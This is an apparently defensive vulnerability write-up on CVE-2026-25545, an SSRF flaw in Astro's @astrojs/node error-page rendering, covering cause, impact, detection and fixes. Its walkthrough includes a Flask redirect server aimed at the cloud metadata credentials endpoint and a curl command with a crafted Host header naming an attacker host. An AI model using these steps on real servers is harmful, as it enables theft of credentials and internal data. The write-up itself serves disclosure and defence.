CVE-2026-25545: 
JavaScript vulnerability analysis and mitigation

CVE-2026-25545 is a Server-Side Request Forgery (SSRF) vulnerability in the Astro web framework's @astrojs/node package, specifically in how Server-Side Rendered (SSR) error pages are rendered. When an SSR page triggers an error and a prerendered custom error page (e.g., 500.astro or 404.astro) is configured, Astro constructs a fetch URL using the untrusted Host: HTTP header without validation, allowing an attacker to redirect the server-side fetch to arbitrary internal URLs. All versions of @astrojs/node prior to 9.5.4 are affected. The vulnerability was discovered by Aikido Security and disclosed on February 23, 2026, with a fix released the same day. It carries a CVSS v3.1 score of 8.6 (High) and a CVSS v4.0 score of 6.9 (Medium) (Github Advisory, Astro Security Advisory).

The root cause (CWE-918: Server-Side Request Forgery) lies in packages/astro/src/core/app/base.ts, where the prerenderedErrorPageFetch() function — essentially a bare fetch() call that follows redirects — constructs its target URL (statusURL) from this.baseWithoutTrailingSlash, which is derived from the attacker-controlled Host: HTTP header (Astro Security Advisory). When an SSR page throws an error and a prerendered custom error page exists, Astro fetches http://<Host-header-value>/500.html server-side. An attacker who controls the Host: header can point it to their own server, which then issues an HTTP redirect to any internal URL (e.g., http://127.0.0.1:8000/secret or http://169.254.169.254/latest/meta-data/), and the response body is returned to the attacker. Notably, the existing allowedDomains check only inspects the X-Forwarded-Host: header, not the Host: header, making it ineffective as a mitigation. Exploitation requires: (1) the application uses SSR with a prerendered custom error page, and (2) the attacker has direct access to the origin server without upstream Host: header normalization by a proxy (Github Advisory).

Successful exploitation allows an unauthenticated attacker to perform full-read SSRF, reading the response body of any HTTP service reachable from the server, including localhost services, internal network endpoints, and cloud instance metadata services (e.g., 169.254.169.254). This can expose sensitive credentials (e.g., AWS IAM tokens from IMDS), internal API responses, configuration data, and secrets stored in locally running services. While integrity and availability of the vulnerable system itself are not directly impacted, the high confidentiality impact on subsequent systems (rated High in CVSS v4) creates significant risk for lateral movement and credential theft in cloud-hosted environments (Astro Security Advisory, Github Advisory).

A public proof-of-concept exploit is included in the official security advisory, demonstrating the attack using a Flask-based redirect server and a curl command with a crafted Host: header (Astro Security Advisory). A Nuclei detection template was also added to the ProjectDiscovery nuclei-templates repository, further lowering the barrier for automated scanning. The EPSS score is reported at approximately 5.14% (90th percentile) by the GitHub Advisory Database, while Feedly's data shows a lower estimate of 0.039%. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The vulnerability was discovered as part of Aikido Security's AI-assisted penetration testing research (Github Advisory).

1. Reconnaissance: Identify Astro-based applications running @astrojs/node versions prior to 9.5.4 with SSR enabled and a prerendered custom error page (500.astro or 404.astro). Look for direct access to the origin server IP, bypassing any reverse proxy that normalizes the Host: header.
2. Set up attacker-controlled redirect server: Deploy a web server (e.g., using Flask) that listens on a publicly or locally reachable address and serves a redirect from /500.html to the target internal URL:

from flask import Flask, redirect
app = Flask(__name__)
@app.route("/500.html")
def exploit():
    return redirect("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
if __name__ == "__main__":
    app.run()

3. Trigger SSR error with crafted Host header: Send an HTTP request to any SSR endpoint that will produce a 500 error, setting the Host: header to the attacker's server address:

curl -i http://<target-origin-ip>:<port>/error-triggering-path -H 'Host: attacker.tld:5000'

4. Receive SSRF response: Astro's error rendering fetches http://attacker.tld:5000/500.html, which redirects to the internal target. The response body from the internal service is returned directly in the HTTP response to the attacker, exposing secrets or internal data (Astro Security Advisory, Github Advisory).

• Network: Outbound HTTP requests from the Astro application server to unexpected external hosts on port 80/443, particularly to attacker-controlled IPs; outbound connections to cloud metadata IP 169.254.169.254 or internal RFC-1918 addresses initiated by the Node.js process.
• Logs: HTTP access logs showing requests to SSR error-triggering endpoints (e.g., paths that return 500 errors) with anomalous Host: header values pointing to external or unexpected domains/IPs; repeated 500 responses with content-type and body inconsistent with the application's own error page template.
• Application Behavior: HTTP 500 responses whose body content matches files or services from internal servers rather than the configured 500.astro error page content; response headers (e.g., Server: SimpleHTTP/..., Last-Modified) that do not match the Astro application's own headers.

Upgrade @astrojs/node to version 9.5.4 or later, which fixes the vulnerability by preventing the server-side fetch from following redirects and by validating remote URLs against configured allowlists (Github Advisory, Astro Release). As a workaround for deployments that cannot immediately upgrade, ensure all traffic to the Astro origin server is routed through a reverse proxy (e.g., nginx, Cloudflare) that normalizes or validates the Host: header before forwarding requests. Additionally, apply network-level egress controls to block outbound connections from the application server to cloud metadata endpoints (169.254.169.254) and unexpected internal IP ranges. Monitoring application logs for anomalous Host: header values is also recommended as a detective control.

The vulnerability was discovered and reported by Aikido Security as part of their AI-assisted penetration testing research, and they published a detailed technical write-up on their blog (Aikido Blog). The finding was credited to researchers reindaelman, JorianWoltjer, and grumpinout1 from Aikido Security (Astro Security Advisory). Community coverage appeared on dev.to and security aggregators shortly after disclosure, and a Nuclei detection template was contributed to ProjectDiscovery's nuclei-templates repository, indicating active interest from the security community in automated detection.